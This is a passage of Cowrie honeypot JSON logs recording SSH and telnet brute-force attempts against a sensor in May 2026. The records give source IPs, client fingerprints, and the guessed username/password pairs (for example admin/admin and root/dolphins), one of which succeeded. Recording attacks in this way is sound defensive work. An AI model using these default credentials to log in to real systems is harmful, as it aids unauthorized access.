f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:25.119912Z","src_ip":"43.165.174.224","session":"11e6699f74b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:25.896873Z","src_ip":"43.165.174.224","session":"11e6699f74b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:27.087138Z","src_ip":"43.165.174.224","session":"11e6699f74b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53920,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e0c8a7a9c02","protocol":"telnet","message":"New connection: 69.4.83.194:53920 (159.203.135.109:23) [session: 9e0c8a7a9c02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:32.846283Z"}
{"eventid":"cowrie.session.closed","duration":32.93200969696045,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:37.890147Z","src_ip":"69.4.83.194","session":"3191c0b8de1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":10044,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b3522a203ab","protocol":"ssh","message":"New connection: 87.251.64.176:10044 (10.17.0.5:22) [session: 1b3522a203ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:42.939680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:42.945142Z","src_ip":"87.251.64.176","session":"1b3522a203ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:43.039522Z","src_ip":"87.251.64.176","session":"1b3522a203ab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:43.414073Z","src_ip":"87.251.64.176","session":"1b3522a203ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:43.510547Z","session":"1b3522a203ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:43.607050Z","src_ip":"87.251.64.176","session":"1b3522a203ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:43.836438Z","src_ip":"87.251.64.176","session":"1b3522a203ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.43539118766785,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:48.358766Z","src_ip":"69.4.83.194","session":"00f89026a00c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.8296058177948,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:52:50.087428Z","src_ip":"69.4.83.194","session":"996617391f22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.162189483642578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:04.008395Z","src_ip":"69.4.83.194","session":"9e0c8a7a9c02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45500,"dst_ip":"159.203.135.109","dst_port":23,"session":"d131bdd5dc7f","protocol":"telnet","message":"New connection: 69.4.83.194:45500 (159.203.135.109:23) [session: d131bdd5dc7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:17.318082Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36983,"dst_ip":"159.203.135.109","dst_port":22,"session":"51a9e5a14b97","protocol":"ssh","message":"New connection: 168.167.72.132:36983 (159.203.135.109:22) [session: 51a9e5a14b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:21.416758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:21.421490Z","src_ip":"168.167.72.132","session":"51a9e5a14b97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:21.666087Z","src_ip":"168.167.72.132","session":"51a9e5a14b97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redhat","message":"login attempt [admin/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:22.676084Z","src_ip":"168.167.72.132","session":"51a9e5a14b97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:23.923747Z","src_ip":"168.167.72.132","session":"51a9e5a14b97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":41694,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dd8c779dafd","protocol":"telnet","message":"New connection: 79.139.59.21:41694 (159.203.135.109:23) [session: 5dd8c779dafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:30.494463Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.56.179","src_port":51010,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6cfecf9e08a","protocol":"ssh","message":"New connection: 115.190.56.179:51010 (159.203.135.109:22) [session: e6cfecf9e08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:35.722791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:35.728540Z","src_ip":"115.190.56.179","session":"e6cfecf9e08a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:35.987125Z","src_ip":"115.190.56.179","session":"e6cfecf9e08a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sachin","password":"sachin","message":"login attempt [sachin/sachin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:37.796828Z","src_ip":"115.190.56.179","session":"e6cfecf9e08a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:39.068588Z","src_ip":"115.190.56.179","session":"e6cfecf9e08a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.205.18.79","src_port":58994,"dst_ip":"159.203.135.109","dst_port":22,"session":"272dd843b796","protocol":"ssh","message":"New connection: 20.205.18.79:58994 (159.203.135.109:22) [session: 272dd843b796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:45.568001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:45.573014Z","src_ip":"20.205.18.79","session":"272dd843b796","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:45.783440Z","src_ip":"20.205.18.79","session":"272dd843b796","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345678","message":"login attempt [devops/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:46.664102Z","src_ip":"20.205.18.79","session":"272dd843b796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:47.877511Z","src_ip":"20.205.18.79","session":"272dd843b796","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.35811972618103,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:52.676089Z","src_ip":"69.4.83.194","session":"d131bdd5dc7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":38138,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5c58c9ffe50","protocol":"ssh","message":"New connection: 103.149.170.125:38138 (10.17.0.5:22) [session: b5c58c9ffe50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:59.363477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:59.367951Z","src_ip":"103.149.170.125","session":"b5c58c9ffe50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:53:59.644203Z","src_ip":"103.149.170.125","session":"b5c58c9ffe50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dolphins","message":"login attempt [root/dolphins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:00.447207Z","src_ip":"103.149.170.125","session":"b5c58c9ffe50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":35406,"dst_ip":"159.203.135.109","dst_port":22,"session":"8348a26ca420","protocol":"ssh","message":"New connection: 103.176.20.57:35406 (159.203.135.109:22) [session: 8348a26ca420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:00.698641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:00.704669Z","src_ip":"103.176.20.57","session":"8348a26ca420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:00.956862Z","src_ip":"103.176.20.57","session":"8348a26ca420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987654321l","message":"login attempt [root/987654321l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:01.717279Z","src_ip":"103.176.20.57","session":"8348a26ca420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:01.723683Z","src_ip":"103.149.170.125","session":"b5c58c9ffe50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:02.972614Z","src_ip":"103.176.20.57","session":"8348a26ca420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36754,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bc032cfb85a","protocol":"telnet","message":"New connection: 69.4.83.194:36754 (159.203.135.109:23) [session: 0bc032cfb85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:09.858189Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37684,"dst_ip":"159.203.135.109","dst_port":23,"session":"33b6f5327c7b","protocol":"telnet","message":"New connection: 69.4.83.194:37684 (159.203.135.109:23) [session: 33b6f5327c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:13.490162Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":47528,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cf320d4e2e5","protocol":"ssh","message":"New connection: 103.15.222.183:47528 (10.17.0.5:22) [session: 5cf320d4e2e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:13.945951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:13.953338Z","src_ip":"103.15.222.183","session":"5cf320d4e2e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:54:14.195664Z","src_ip":"103.15.222.183","session":"5cf320d4e2e5","protocol":"ssh"}
